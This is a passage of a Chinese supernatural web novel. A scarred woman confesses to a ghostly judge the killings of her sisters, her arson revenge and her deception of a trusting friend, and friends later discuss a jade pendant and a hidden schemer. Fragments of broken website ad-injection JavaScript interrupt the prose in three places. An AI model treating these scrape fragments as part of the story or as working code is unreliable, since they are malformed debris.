“我替她们来。”女人终于抬起头了——她露出那张遍布疤痕的脸,把判官也看得一怔。 “你且等我查探一番。”判官摆摆手,竟也从袍兜里掏出一个手机捣鼓起来。 “你说他复古吧,他有手机;你说他紧跟时代吧,他说话穿着又是这个样子。”凌岓看得新鲜,忍不住戳了戳旁边一门心思盯着台上人的发小。 “半人半鬼,你也并非完全是活人。”判官放下手机,饶有兴趣地打量着面前站着的女人。 “借亡魂做交易,盗遗骨连累无辜者入局。怨恨的人已死,你手上亦沾染了活人血,又怎敢到此伸冤?” 听到“盗遗骨连累无辜者入局”时,关扬心里咯噔一下,他看着台上那位毫无波澜的人,等待下文。 “因为帮凶仍在,我的冤情,还没伸完。”贺一川不卑不亢。 台上的人只剩下村长、万平夫妇、一个面生的女人和一个干干瘦瘦的老头。这下,再迟钝的人也知道台上女人所说的“帮凶”是谁了。 判官向面前的半人半鬼确认了那两位该来却未来之人的信息,这才示意她说下去。 女人深吸了一口气,先从名字开始讲起。 贺一川本来并不叫这个名字,这是她后来自己改的。她原来的名字是某段时间在某些地方很常见的名字——万盼丁,期盼家里能生下一个男丁的“盼丁”。 至于判官念到的两个人,万希娣是贺一川的大姐,比她大九岁;万含璋,小她两岁,是家里最小的妹妹。 万希娣是家里最大的孩子,从小就被不同的人教育要“学会懂事”、“学会体谅父母”… 因此,从小帮着家里的长辈干活成了万希娣的日常。甚至于万含璋出生以后,照顾她和月子里的母亲这种责任都落在了这位“长女”身上。 从记事起,大姐万希娣经年累月冷着一张脸,沉默寡言,只有在人前才会露出些笑容。年幼时的贺一川从来不敢跟大姐多说话,因为她潜意识里总觉得大姐很凶。 在贺一川六七岁的那年,一些穿着制服的叔叔阿姨频频来到家中。他们每次来都挂着温柔的笑脸,有时候还会带给她一些从未见过的零食和玩具。 年幼的孩子不明白这些叔叔阿姨为什么要来,只是因为那些零食、玩具而希望他们每天都来家里做客。 只是那时候贺一川并不知道,除了她之外,家里还有另一个人有这样的希望——大姐万希娣。 和妹妹对零食玩具的期盼不同,万希娣希望这些人来是为了能有个机会继续上学—— 万希娣出生的时候,刚好碰上义务教育的实施和大力推行[1]。她算是赶上了好时候,借此机会去镇上的学校念了九年书。 学校离家很远,但这并不影响上学那段日子成为万希娣生命里为数不多的快乐时光。 “她的成绩很好,人也聪明,如果你们愿意让她上高中的话,学费可以由我来出。”说这话的人是万希娣的初中班主任,她叫吴婕,是那个年代从大城市里回来教书的大学生。 父亲万长年向来是家里唯一做主的决策者,对于吴老师的提议,他想都不想就回绝了: “不是钱的问题,我们家孩子没那个心思上学。再说了,她一个女孩子,读那么多书也没啥用,不如就踏踏实实待在家里,还能帮着干点活儿。” 吴婕自己也是家乡第一个走出来的大学生,她深知多读几年书对于这些孩子,尤其是这些女孩子而言有多重要。 因此,吴婕并没有就此放弃劝说万长年,转而叫上了校长和在教育局工作的同学一起来做说客。 “多读几年书就能多几个选择,多一个选择就是多一个机会多一条路!” “你们家条件也不算太好,如果能培养出一个有文化的大学生,说不定能改善家里的情况呢?” 那段时间里,吴老师和她的同伴几乎要把万长年家的门槛踩烂了,但这个犟男人还是坚决不同意。 起初,万长年还能好言好语地给来人倒杯水、回应两句。到后来,他干脆摆上一副冷面孔,又把万希娣锁在屋子里不让出门,生生浇灭了大女儿想要读书的念头。 又过了三年,贺一川九岁那年,万希娣成家了—— 姐姐结婚的头天晚上,家里来了许多亲戚。因为睡不下,万希娣只好和贺一川挤在一张床上。那是大姐第一次这样温柔地跟她说了许多话,也是最后一次跟她说那么多话。 “盼盼,你一定要好好上学,一定要想办法离开咱村子。”万希娣从来不叫“万盼丁”这个名字,她只称呼妹妹为“盼盼”。 “外面有很多很多好东西,都是我们见都没见过的。” “如果家里不同意,你就来找姐姐。姐姐努力挣钱,到时候你就不用像姐姐这样了。” …… 小孩子容易困,再到后面,贺一川也不记得大姐还说了什么。只是在她彻底进入梦乡之前,她清清楚楚地听见姐姐说: “过几天我们盼盼就十岁了。祝贺姐姐的盼盼健健康康、平平安安长大,往后的人生路一马平川,能任你做自己想做的。” 想到第二天的场景,站在刑台之上讲故事的人面露讥讽,“那一天多热闹啊,比过年都热闹,可谁都比我姐本人高兴。” 万希娣的故事到这里暂时告一段落。贺一川话锋一转,接着开始回忆起自己的小妹妹万含璋。 记忆中的万含璋出生时粉粉嫩嫩的,像个胖乎乎的瓷娃娃,任谁看了都会心软。当然,这不包括她的爷爷奶奶和父亲。 万含璋算得上是由万希娣一手带大的,和大姐亲近属于自然而然的事情。 万希娣不在的时候,万含璋就黏着贺一川。两个人的年纪毕竟相差不多,久而久之,小姐妹比双胞胎还要亲。 “我小妹走的时候才七岁。”说话的人一脸平静,既没有高声大喊,也没有泪水涟涟,“大姐结婚没几个月,小妹就不在了。” “万含璋,溺毙。”判官照着手里的纸念。 “是淹死的,但不是意外,是人为。”贺一川突然笑了起来,“家里已经有三个孩子了,再想添丁会违反规定,那怎么办呢?” “他爸妈不会是把她妹妹给?”关扬的脑子“嗡”一声炸开,难以置信真的有这么残忍的人。 “我知道爷爷奶奶和我爸不喜欢我们姐妹,可他们还是太超出作为人的底线了。”台上女人的眼睛里结了一层雾,“一个七岁的孩子,用不着三个人一起下手把她往水里按的。” “璋不是玉的意思吗?起这么好的名字,干得却是禽兽不如的事。”凌岓心里生出无限悲哀。 “在古代,弄璋之喜是祝贺生了男孩,弄瓦之喜是祝贺生了女孩。”姜泠回应他,“万含璋,说明她的父母一开始就在她身上加注了不该有的期盼。” “之后,我去找了大姐。”贺一川继续讲着,“大姐能有什么办法呢?她听了我的话,说要去报警。我等她等了好久,结果等来了她出意外的消息。” 万希娣的突然离世带给贺一川巨大的阴影,她始终觉得自己是大姐去世的罪魁祸首。 往后的十几年中,她无时无刻不在后悔,后悔当初没能好好听姐姐多说几句话;也后悔自己当时沉不住气,非要去找大姐说这件事。 “万希娣去世两年后,万长年及其父母亡于一场大火,你成了孤儿。”判官盯着眼前的女人问:“我得到的资料上显示,火是因为天气干燥引起的。现在我问你,火是谁放的?” “我放的。”被问的人毫不隐瞒。 “为什么两年之后才这么干?”判官又问。 “因为她。”贺一川看向那个面生的女人。 “当初她说,含璋是让万长年没有儿子的原因。她一句话,小妹就得付出命的代价。两年以后她又跑过来说,我也是阻碍之一,要万长年把我卖掉。” “我怎么会给他们这个机会呢?” “然后呢?”判官头也不抬地记录着这些答案。 “大姐走的时候给我和小妹各留了些钱,我用这些钱离开了六溪村。再加上我那时候还不算太大,有机构和好心人每年捐款,所以后来也能勉强上个大学。” “再后来,我改了名字,用的就是我姐姐对我的祝福——人生路上,一马平川。” “什么时候发现万含璋遗骨的?” “一年以前,六溪村违规排污的事情曝光之前。有人找到了我,说妹妹的遗骨能帮我们报仇。” “寄给关扬的骨头是你干的?” “是。” “为什么选择了这个人?” “因为,因为他信任我。”自走上刑台以来,贺一川第一次有了犹豫,“那个人告诉我,只有真正信任我、关心我的人才能成为我来到这里的桥梁。” 台下的关扬愣住了,他完全不知道该怎么表达现下复杂的情绪。 “然后呢?” “先把遗骨寄给他,在他的水里下一些那人给我的东西,让他做噩梦,惊魂不定。” “再然后,利用他对我的信任和关心,在他最焦虑的时候,把他带到六溪村。” “那个人说,七月十五晚上是最好的日子。让信任我的人亲眼看到亡魂,他就有可能打开这里的门。只要进到这里,我们这些人就能赶上主官会审。” “在这个过程中,我还雇了别的演员帮忙,增加关扬对我的信任。同时作为交换,那个人说要借我身上的两盏灯,我同意了。” “这就是她半人半鬼的原因。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”姜泠听到此处,明白了大半,“有人拿走了她肩上的两盏魂火,所以她不再是一个完整的人了。” “说了这么多,为什么要牵涉这些无干此事的人?”判官叹了口气,指了指台子上的村长等人。 “因为他们是帮凶。”贺一川忿忿,“我妈生完妹妹没几个月就去世了。村里好多人说,是因为孩子太多,耗尽了她的精气神。” “可我生下来就只知道我们姐妹三人,那怎么会说‘孩子太多’呢?” “我后来无意中才知道,在我和我大姐之间的九年里,还有很多和含璋一样的姐姐。她们还没来得及长大,就被这个死老头子处理了。” “让小妹在水里离开,也是他的主意。”贺一川看着那个干干瘦瘦的老头,眼睛里淬了毒。 “至于村长,这些事情他不会不知道,只是他懒得管或者想要息事宁人罢了。万平夫妻也是,他们家那几年就住我家隔壁,小妹走的时候那样哭叫也不见他们出来说句话。这难道不算帮凶吗?” “我是真的不知道你妹娃的事。”村长终于开口了,语气里全是懊悔,“长年当初来找我,说的也是意外。我要真的知道事情是这样,怎么可能不管呀!” “我也是。”万平在一旁接道,“我那天还以为是你家小妹不听话才…要是早知道长年是去干这么坏的事情,我怎么可能不阻拦!” “哼,马后炮罢了。”贺一川并不听他们的解释。 “没有这样的道理,本官不能答应你的要求。”判官最终驳回了贺一川的要求,“这个招摇撞骗的神棍和这个逞口舌之快的妇人,本官倒是可以给他们施以惩罚,另外三人不行。” “你勾结旁人连累无辜者,还利用亡魂遗骨打开龙眼的大门,你的处罚不会轻。”判官接着又补上一句。 “我明白。”贺一川点点头,“在此之前,能让我再和关扬见一面吗?” “也罢,见就见一面吧。”判官大手一挥,刑台与台下人之间的屏障便消失了。 贺一川慢慢走到台下,看着发愣的关扬,轻轻说,“关哥,时至今日,我对我所做的一切都没什么可后悔的。唯独对不起的,就是你。” 见关扬不说话,她又继续道:“回魂灯的事情我早就知道了,你回去之后点着这灯睡一晚上,所有的那些噩梦都会没有的。” 说着,贺一川把一个装着红色液体的小瓶子塞进关扬口袋里:“这灯是沟通阴阳的媒介,所以要点亮它,必须要生人和亡魂共同接触才行。而血液是最好的灯油,你把它倒进灯里,能亮至少一晚上。” “还有你家里的那尊神像,那是照着我们六溪村宗祠中的神像刻的。为的就是让你能在七月十五那天晚上,看见来往的两支亡魂队伍。” “我知道你这次来,就是为了从我身体里把小妹的骨殖剥离出来。”和关扬说完,贺一川又转向姜泠:“现在不用那么麻烦了。我妹妹的遗骨就埋在我家老宅那里,剩下的事情,就拜托你了。” “七月十五那晚遇到的两支队伍也是你说的那个人做的手脚吧。”姜泠看着眼前的姑娘,开口问道,“能不能告诉我,他是谁?” “抱歉,这我真的不知道。”贺一川的回答也在意料之中,“我确实没见过他长什么样子,他也的确很会利用人心。他知道我的弱点,按照他说的去做,我也真的见到了我想见的人。” “知道了。”姜泠点点头,不再多说什么。 贺一川最后看了一眼不吭声的关扬,准备转身回到刑台之上。 “你等等!”关扬终于说话了。 “说实话我确实生气。”他一开口就直抒胸臆,“但是现在,要是还有机会的话,你好好改造。争取有个好点的表现,下辈子去个好人家,别再拿别人当冤种骗了。” 贺一川轻轻一笑,脸上的疤痕慢慢淡去了。 “还有就是,虽然你利用我,但我对你的信任是真的,关心是真的,对你的真心也是…也是真的。”这句话说完,关扬头也不回地走到一边蹲下。 判官手里的毛笔伸展到了一棵树那么大,笔尖发出一片金光,贺一川和其他围观的众人都慢慢消失在了金光中。 “本官送你们一程吧。”等到一切处理完,判官回头看着剩下的四个人。 “那多谢您了。”姜泠和凌岓异口同声。 “不必。”判官一副满不在意的样子,又格外叮嘱了一句,“回去以后,我自会抹去这些人关于此处的记忆,至于你们?” “您也可以抹去。”凌岓坦然。 “上面叮嘱过了,你们中有人的记忆要保留,我只是照办。但是你们一定要对这里的一切守口如瓶,否则被怪罪,本官也帮不了你们。” “遵命。”几个人老老实实回答。 大雾弥漫,判官转眼就不见了,众人在大雾中沉沉睡去。等到大雾散去,几个人也清醒过来,仔细一看,已经回到了万平的家里。 22. 第二十二章 推门出去,阳光实在是好,天上一朵云都没有。 “起床啦!”万平端着几只碗过来,脸上还是那副憨厚的笑容,“我昨天晚上起夜的时候看你们都不在,是出去了吗?” “啊,对。”凌岓赶紧反应过来,忙不迭点头,“都睡不着,又去祠堂那些地方转了转,学到了挺多。” “大晚上的,你们年轻人精神头就是好。”万平又看了看屋子,“小关还没起呢?” “起了起了,在刷牙,马上就过来。” “你们两个大小伙子还不如人家一个小姑娘呢!”万平媳妇也出来了,手里端着几叠小菜,“人家小姜姑娘一大早就出去了,哪像你俩,睡到这个点儿才吃早饭。” “出去了?她说要去哪儿了吗?”也不顾上被数落,凌岓赶紧追问。 “你们都不知道,我们怎么会知道。”万平媳妇说着,递给面前的年轻人一封信,“小姜姑娘让我交给你的。” “万含璋的遗骨已经处理完毕,村民的记忆亦已全部清除。我先走一步,后会有期。” 看着落款那个漂亮又秀气的“姜”字,读信人哭笑不得——单从字迹上看,写字的人应该是个温婉如水的女孩子;可事实上,写信的人做事果决、来去如风,一点没有拖泥带水的影子。 回程路上,关扬的脸色看上去还是阴沉沉的,丝毫不见往日的活泼开朗。 “还想她呢?”凌岓递给发小一瓶水,不无关切地问。 “你不知道,以前在电视台的时候,她就是我的搭档。”关扬把拧开的盖子攥在手里反复旋转,“后来我辞职,她二话不说就跟着我单干。” “最开始做自媒体吧,几乎天天晚上熬夜,她一句怨言都没有。后来要跑新闻,要实地调查,她也是跟着我忙前忙后,从来没喊过苦。” “我搬家,她帮我搬东西、帮我清点零碎物品;我生病,她给我带吃的、给我送药。” “团建旅游的时候我们会记住彼此爱吃的;就算自己出去也会给对方寄明信片…” “就这么跟你说吧。如果不是她以前干的事情已经到了要蹲局子的地步,如果不是她不可能回来了,我甚至都想过就这么认了。大不了等她出来再照顾她呗。” “那她骗你、利用你那些事情,你都不生气?”凌岓认真听着,也在认真想怎么开导老友。 “生气是肯定的。”关扬用水瓶撑着下巴,“但那又怎么了?比起之前一起经历过的好的事情,这些又算什么?何况,很多事情都不是她的错,她只是生错了地方,是个走错了路的受害者。” “你这么恋爱脑的男人不太常见。”看见发小的眼神,凌岓赶紧补上一句,“褒义、褒义,夸你呢!” 列车驶过一片绿油油的农田,车窗外的景色像一副油画。 回到安城,凌岓按照贺一川最后的嘱咐帮关扬处理掉了家中的神像;又等到老友点亮了回魂灯睡下之后,他才彻底闲下来。 “姜大夫…姜泠…”不知怎么,难得空闲的人突然想起姜泠在灵堂里说起自己没有心时的样子了。 辗转反侧睡不着,盯着台灯下的影子愣了半天,凌岓决定给洪钟打个电话。 “老弟,这么晚了你还不睡啊。”洪钟接起电话,哈欠连天。 “老洪,问你点事儿。”上次之后,凌岓和洪钟比之前要更熟络一些。 “你说。” “你有姜大夫的联系方式吗?” “嗯?你们之前不是在一起吗?” “对,之前是在一起,现在已经分开了。” “哦。”洪钟在电话那边点了点头,“相处了这么久怎么连个电话都不问人家要?” “你就说你有没有吧。” “嗯,我没有姜姑娘的联系方式,但我有她那个弟弟的联系方式。”洪钟翻了半天聊天记录,有点不好意思。 “卫斯诚?”凌岓若有所思,“那也行,他的也行。” “你不会大半夜打电话来就为了要个联系方式吧。”念完那一串电话号码之后,洪钟才清醒过来。 “算是吧。不好意思打扰你了。” “大哥,以后这种事情发个微信就成!不要大半夜的扰人清梦,这多不礼貌啊!”洪钟哀嚎了一声。 “知道了,回去请你吃饭!”这边的人说完,迅速挂断电话。 第二天一早,关扬的精神果然好了许多。他眼睛底下的两个大眼袋和黑眼圈都不见了,多日来的萎靡不振也消散了。 二人一合计,决定把回魂灯上交到文物管理部门——没有和亡魂的联系或接触,回魂灯也不过是一盏颇有年代的工艺品罢了。 从文物管理局出来,关扬想请发小一起吃个饭以示感谢,却被对方拒绝了。 “那么客气干嘛,咱俩这么多年兄弟了。”凌岓摆摆手,“我家皇后娘娘你又不是不知道,再不回去她就要扒了我的皮。” “那以后有事儿用得着我,一定开口啊!”关扬心里还是过意不去。 “放心,不跟你客气。”和老友道过别,凌岓踏上了离开的高铁,只是这次的目的地并非家里,而是天津。 “您介玩意儿卖嘛?便宜点呗!” 按照洪钟给的地址打车过来,凌岓一下车就看见他穿着一件大汗衫站在卖手工制品的小店门前跟人讲价。 “多少钱?我替他付。”也不管对方买的是什么,凌岓对朋友的认可主要体现在——愿意为他们花钱。 “你真是人傻钱多呐!”去茶餐厅的路上,洪钟捧着一只做工精巧的小猴子埋怨价格太高,心里却乐开了花。 “他们到了吗?”凌岓的心思在别的事情上。 “没有吧,刚还说再有二十分钟才来呢。” 说是茶餐厅,实际上目的地是一个专供谈话的高端茶馆。车还没停稳,就有服务生迎上来等候给客人开门。 “您好,欢迎来到无尘居。”服务生微微弯下腰,伸出手,“请先出示您的邀请函。” “在这儿。”凌岓把一张精美的长方形信封递到了对方手里。 “原来是卫先生的贵客,您请进。”服务生打开信封看完,做了一个“请”的手势。 这家茶馆一共三层,一楼是摆放着各种香茗茶具的展示层;二楼才是真正可以喝茶的地方。服务生带着凌岓和洪钟坐电梯直达的三楼,则是给客人沐浴更衣存储东西的地方。 “我们这里品茶讲究的是回归自然。诸位贵客远道而来,身上难免沾染尘土,这会影响到您的品茶体验。因此,请您先在这里沐浴更衣,随后再按呼叫铃。我们会有专人带您前往品茶处,祝您生活愉快。” 服务生说完,露出一个标准的微笑,拉上了三楼唯一一扇门。 “这也忒讲究了。”洪钟打量着这一层的布置,狠狠感叹道。 整个三楼有四分之一个标准足球场那么大,却统共只有八个房间。 每个房间里都放着一个巨大的白色浴缸,摸上去温润光滑;浴缸旁边的大理石台面上点着飘飘渺渺的檀香,味道清淡又好闻;浴缸下面铺着一方大大的缎面地毯,地毯上的花纹精美繁复。 洪钟随手从房间的玻璃柜中拿起一个杯子看了看,差点被价签上的数字吓晕:“四万块钱一个杯子,这还真是够奢侈的…” 二楼布置得古朴简单,整层楼的桌椅装饰大多是木制的。桌子后面有一张极为精致的手绣屏风,上面绣着“韩熙载夜宴图”;桌上的紫砂茶具里已经添了茶,桌前的人似乎已经等了一会儿了。 “好久不见。”看到服务员领着两人走过来,卫斯诚很有礼貌地伸出手。 等服务员离开,才有人打破沉默。 “这也没多少人来啊,老板岂不是要亏死了。”先开口的是洪钟,他吐槽着无关紧要的事情,反而让严肃紧张的气氛松快了点。 “进入正题吧。”卫斯诚坐直了身体,把桌上的干果点心往对面两个人那儿推了推,“我凌哥说有事要问,刚好我们也有事要找你帮忙。所以,谁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 先说?” “这还要分先后?是谁不都一样嘛。”洪钟拿起一块甜瓜往嘴里送。 “那就先问您吧。”姜泠顺着他的话接道,“反正都一样,不如先请您帮忙解答一些问题。” “怎么又冲我来了。”洪钟擦了擦手,一副胸有成竹的样子,“问吧,我知无不言言无不尽的。” “我们进到第三只龙眼之后,目睹了一次审判,台上的判官像是古代人,而那里的人把这叫做‘主官会审’。这是什么意思?” “这你就问对人了。”洪钟喝了口茶,娓娓道来,“我那本记载六溪龙眼的古书里有提到过这个。” “相传,第三只龙眼是天庭雷部分设人间的公堂和法场。每一年年底,雷部都会派官员在人间开设一次公堂,其主要业务就是处理亡魂的冤情和怨恨,这就是所谓的‘主官会审’。” “天上一天,地下一年。这么算的话,你们去的那天刚好就是这一轮开设公堂的日子。但是呢,因为时间有限,所以每次审理不会花费太多时间,基本都是当堂审、当堂判、当堂执行。” “每一次会审都是七月十五?”凌岓问。 “也不一定,我看那本书上记载的几次会审日子不是在中元节,就是在清明节。但总之都是阴气极重,鬼门大开的时候。” “那回魂灯怎么会在六溪村,难道他们真是守护龙眼的部落?”回去以后,卫斯诚听姜泠讲述了这次黔西南之行的全过程,对这个回魂灯很感兴趣。 “当然不是啦。”洪钟摇摇头,“我听小姜和小凌都提到过这个事。我猜最早的六溪村原住民的确和第三只龙眼有着千丝万缕的联系,而回魂灯能镇压住冤魂鬼煞的恶气,自然是这些原住民守护龙眼最好的宝物。” “虽说龙眼庇护的地方一直都平安无事,可千百年来到底有没有战乱灾祸谁又能知道呢?再加上当地的原住民早就和外乡人通婚了,就算他们真有什么了不起的血统,到现在也该稀释得差不多了。” “原来如此。”卫斯诚若有所思,接着指了指凌岓,“我姐也就算了,凌哥为什么也没被抹除记忆?不是说活人进入龙眼是大忌嘛?” “这个问题,我这两天也想了好久。就目前看来,只有一种解释。”洪钟看着坐在旁边的人问,“在那个增加怨念的灵堂里,你就没有什么不好的想法?” “没有。”凌岓摇摇头——他当时光顾着关扬和姜泠了,哪有闲心生出什么别的念头。 “这就是答案。从来没有活人能在龙眼里全程不带任何怨念或者恶意走下来,他是例外咯。” 说到这里,洪钟突然一顿,跟坐在对面的姑娘说,“小姜,你那块玉拿出来我瞅瞅。” 姜泠不知缘由,但还是把玉玦交给了洪钟。 “怎么了?”她问。 “我就说嘛!”洪钟把玉玦对准光线仔细翻看,“上次你来找我的时候,我跟你说这块玉还缺九只角,现在只缺八个了。而且这次弥合的这块地方色泽非常好,应该是有什么人或者什么器物加持。” “什么人?”卫斯诚比他师姐还着急,“还是什么器物?” “如果是器物的话,那应该是回魂灯。回魂灯重见天日后的那一亮,对玉的修复大有裨益。”说书人咂咂嘴,“如果是人,那十有八九是小凌同志。毕竟在龙眼那种地方都能没有怨念,说明他至纯至善啊!” “可能只是因为我当时忙着管别的事,没功夫想其他的。”凌岓听见“至纯至善”四个字,鸡皮疙瘩掉了一地。 “那你也太小看龙眼的作用了。”洪钟并不赞同身旁人的说法,“给你们设套的那个活死人,就那半人半鬼。” “贺一川?” “对,就是她。”被旁人提醒,说书人才想起来这个名字,“在正常情况下,加害她的罪魁祸首其实很早就被她亲手解决了。但是她不依不饶,还要把不知情的人当成帮凶来恨,这就是龙眼的作用。或者也可以说,是指使她的人,利用了第三只龙眼的作用。” 23. 第二十三章 “哦对了,小凌同学还跟我说,在龙眼里,他有时候会看不清,也是出于这个原因。” “他本来就是去的人里三魂七魄最齐全、阳气最重的;再加上我们小凌同学心地纯良,没什么恶念,所以有时候反而看不太清亡魂的长相。” “话又说回来,你们走的那条阴路,旁边那些坟里埋的就是挤进龙眼伸冤的孤魂野鬼。只可惜中元节那天他们都要想办法赶上主官会审,否则你们肯定能看到好多人。人一多,再和小凌同学近距离贴一下,说不定就能看清了。” 洪钟说得口干舌燥,端起杯子抿了一口茶。 “那个灰袍老人又是什么来路?”凌岓想起到达六溪村当天下午的事情,自然而然问起了那位擎着招魂幡的老人,“他好像很了解我们,还给每个人都留了赠言。” “这个嘛…”回答的人故作高深,最后来了一句,“这我真不清楚,暂时还没找到答案。” “他说我们四个人里,只有两个活人。那么姜大夫究竟?”话没问完,凌岓就被身边的人狠狠掐了一把。 “我不都跟你说了嘛,还问!”洪钟压低嗓子,使劲挤了挤眼睛。 “你猜的没错。”对面的姑娘落落大方地回答,“我是人,但也算不上人。” 姜泠今天没有像之前那样把头发用簪子挽起来,长发轻轻垂下,散发出极为浅淡的香味。她上身穿着一件米白色暗纹提花缎对襟短衫,下面搭了一条浅碧色的旋裙。再加上她说话时不紧不慢的语气,整个人和茶馆墙上挂着的古画中人别无二致。 “我小的时候遇到了一些事情,当时算得上是回天乏术。我师父偶然路过救下我,用了骨医的禁术给我续命。续命的结果就是没有心,没有记忆,也感知不到任何感情。” 凌岓沉默下来,最后把那句“你家人呢”咽了回去。 “但无法感知正常情感的人就无法在群体中立足。所以师父尽可能教给我怎样辨别和回应普通人的情感,我也差不多可以按照标准程序来和其他人相处。” “标准程序。”凌岓哑然失笑,“情感这种不可量化的东西,竟然有标准程序来处理。” “在六溪村那条阴路上,老人家说我不是活人也是因此。师父当初找尽了方法续命,三魂七魄,最终补了一半天魂和一半地魂,剩下的人魂实在没有办法,所以我就算不上一个真正的人。” “怪不得他说你‘悲苦之至不由人’。”发问的人现下后悔起来,深感往后午夜梦醒,自己都能被今天问的问题气笑。 “你不怕?”对方的反应有些出乎姜泠意料。 “这有什么好怕的。”凌岓说不上来怜悯和心疼哪个占据了上风,“遇到这些事情,最痛苦的人肯定是你。可你不仅没有报复社会,还能帮别人的忙,这已经很难得了。” “没你想的那么伟大。”姜泠轻轻摇头,“成为骨医是师父的意思。他失踪之后,只有我能接替他的责任。何况,这也是我能真正活着的唯一办法。” “怪不得。我之前还在想,你怎么会和老洪这么一个看起来不着调的人联系。现在大概能猜到一点原因了。” “嗯?你什么意思?”洪钟瞪圆了眼睛问。 “看起来,只是看起来,事实证明你超靠谱!”身旁人赶紧找补了一句。 “所以说,只要你成为骨医,你就可以真正活着,是这样吗?”敷衍完洪钟,凌岓又回到正题上。 “不是。”姜泠回答,“如果真有这么简单就好了。” “不是骨医,那办法是什么?” “借骨医的身份修复这块玉玦,等到它被修复好,成为一个整体的时候,我姐姐就能获得一颗真正的心,这才算真正活着。”卫斯诚抢先一步回答。 “那要怎么修复?找文物修复师?” 在座四人里,只有凌岓对这件事一无所知。他不断追问,第一次觉得自己像个被人戏耍的猴子。 “怎么可能!”洪钟抢答,“如果能让文物修复师修复好的话,那小姜何必这么费劲!找个好点的医院做心脏移植手术不也是一样的嘛!” “除了为活人接骨看病、为逝者安葬遗骨之外,骨医还有很多用处。”姜泠懒得再卖关子,索性一股脑说完。 “譬如凭借一样物件找到失踪者的下落;再譬如用逝者的遗骨重建他们和阳世的联系,让他们说完遗言遗愿。甚至,还可以让枉死的人指认杀害他们的凶手。” “每一根骨头都是逝者身体的一部分;每一具遗骸都藏着逝者的故事。我师父说,每个故事背后都有一种感情。玉玦缺了十角,只有集齐十种感情,才能把它完全修复好。” “十种感情…”凌岓仔细琢磨着这句话,“具体是哪十种感情?” “这就不知道了。反正师父走之前只说玉玦是真心的演化,只有用真实的情感加以灌注,破碎的玉才有机会得以完整。”说到这里,卫斯诚也是一脸苦恼。 “天知道有哪些感情!老头儿离家出走那么长时间,话又不说明白。我跟我姐东奔西跑两三年了,到现在才找到两块缺角。” “这就是小姜来找我的原因。”洪钟点头附和,“湔山回来以后,这个玉的一块缺角被补上了。小姜这才联系到我,问问我知不知道什么情况。” “那看来你是知道的。” “当然啦。”洪钟得意一笑,“普通感情当然不具有修复这种古玉的能力。能被古玉吸收的感情,一定是经年累月的、最为深刻浓烈的、能称之为执念的感情。” “湔山那个就是生前没能见到自己母亲,死后把这种对亲人的思念化为无法消散的执念的典型例子。所以湔山之后,古玉吸收了一部分亲情,有一角就被弥补了。” “那六溪村是什么?对自己姐妹的爱?” “怎么可能!六溪村是恨啊!那种偏执的、永远无法释怀的恨才是这一角被补上的原因。”洪钟把玉玦递给身旁一脸疑惑的人,示意对方仔细看看。 “我确实是该好好谢谢洪钟。他告诉我,人是立体的,人的感情不分好坏。玉玦要吸收的,不仅是能让人愉悦的情感,还有让人痛苦的情感。” 姜泠对洪钟是感激的,她曾想过给他一笔丰厚的报酬,可对方坚决不要。 “君子爱财,取之有道。”当时洪钟是这样说的,“乐于助人是我们的传统美德,我从来不收咨询费和帮助费,只收说书钱。有空,你们多来给我捧个场就行。” “老洪可以啊!”这下,凌岓也对吊儿郎当的洪钟肃然起敬,“不仅学识渊源,还能知道六溪村要发生的事,你都可以去当洪半仙了。” “不不,我不知道六溪村的事。你忘了?你在火车上给我打电话的时候,我才知道你们要去六溪。”洪钟被夸得很高兴,但他从不冒领功劳,“他俩来找我之前应该就已经决定要去那儿了。” “没错,去六溪和洪大哥没关系。”卫斯诚为洪钟的话做证明,“是别人给我们提供的信息。” 按照卫斯诚的话说,提供信息的人是个很奇怪的人。 骨医这个行当很早就有了,可即便是在最鼎盛的时候,也只是王公大臣知道有这么一个职业,大部分寻常百姓对此闻所未闻。 明清之后,骨医的队伍日渐衰微。到民国年间,就只剩下为数不多的几个人了。 再后来的今天,姜泠成了骨医行业的独苗,能有门路找到这儿来的人,大多都不简单。所以一般情况下,他们也不会轻易拒绝来人的请求。 张贺萍的事情处理完之后,有人联系到姜泠,说有一份事关玉玦的大礼要送给她。两人招呼都不打就从蓉市赶回去的原因正在此。 “一般来办事儿的都会找我,很少有人知道我姐的电话。这是第一个奇怪的地方。” “第二个奇怪的地方是,那人来了之后,并没有任何请求,只是告诉我们安城藏着玉玦的碎片,如果这次不去就会错失机会。”卫斯诚仔细回忆着,“本着宁可错杀一千,不可放过一个的想法,我和我姐还是决定过去一趟。” “安城?不是六溪村吗?”凌岓有些搞不明白。 “是六溪。但当时他说,安城藏着必不可少的线索,所以我们决定先去安城。结果我这儿临时出了点事,就变成我姐一个人过去了。” “你们现在知道那人是谁了吗?”洪钟很合时宜地问。 “不知道。”卫斯诚摇头。 “或许,就是指使贺一川的人。”姜泠说,“从韩家开始,事情就有些不对了。” “我们调查之后发现,近百年来,从未出现过湔山那么大的骨洞。在骨洞外面攻击我们的那些遗骸,应该也有人为操纵的因素在里面。” 姜泠的表情变得严肃起来,“另外,我们调查的人在西南那一带遭到了袭击,剩下两个幸存者到现在都没办法正常交流。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “我就说嘛!”洪钟一拍桌子,“我就说按照常理,他们那些只是留有遗憾的人不会伤害我们的!” “湔山之后,我在安城遇到了你们,然后一起去了六溪村。”姜泠继续说道,“六溪也的确弥补了玉玦,但我越来越觉得,有人在暗中引导我们。” “所以你一说要和我姐聊聊,我俩二话不说就来了,多够意思!”卫斯诚附和着。 “不对吧。”凌岓差点被忽悠过去,“你不是说有事儿找我帮忙么?” “哎呀,你怎么想起来了。”闻言,卫斯诚灿烂一笑,推过去一个牛皮纸信封,“亲兄弟明算账,不管答不答应,辛苦费是要收的,大老远来一趟也不容易。” “不用,先说帮什么忙。”对面的人又把信封退了回去,“我还没到这么缺钱的地步。” “那也行。先声明,这次算是私事儿,答不答应都行。” 卫斯诚和姜泠不一样,他没有什么家中变故被收养或被救下的经历。换句话说,用“寄养”这个词来形容他更为贴切。 小时候的卫斯诚对父母没什么清晰的认知,但对自己家里的富裕程度倒是很有数。在他的认知里,钱是家里最不值得操心的事情。 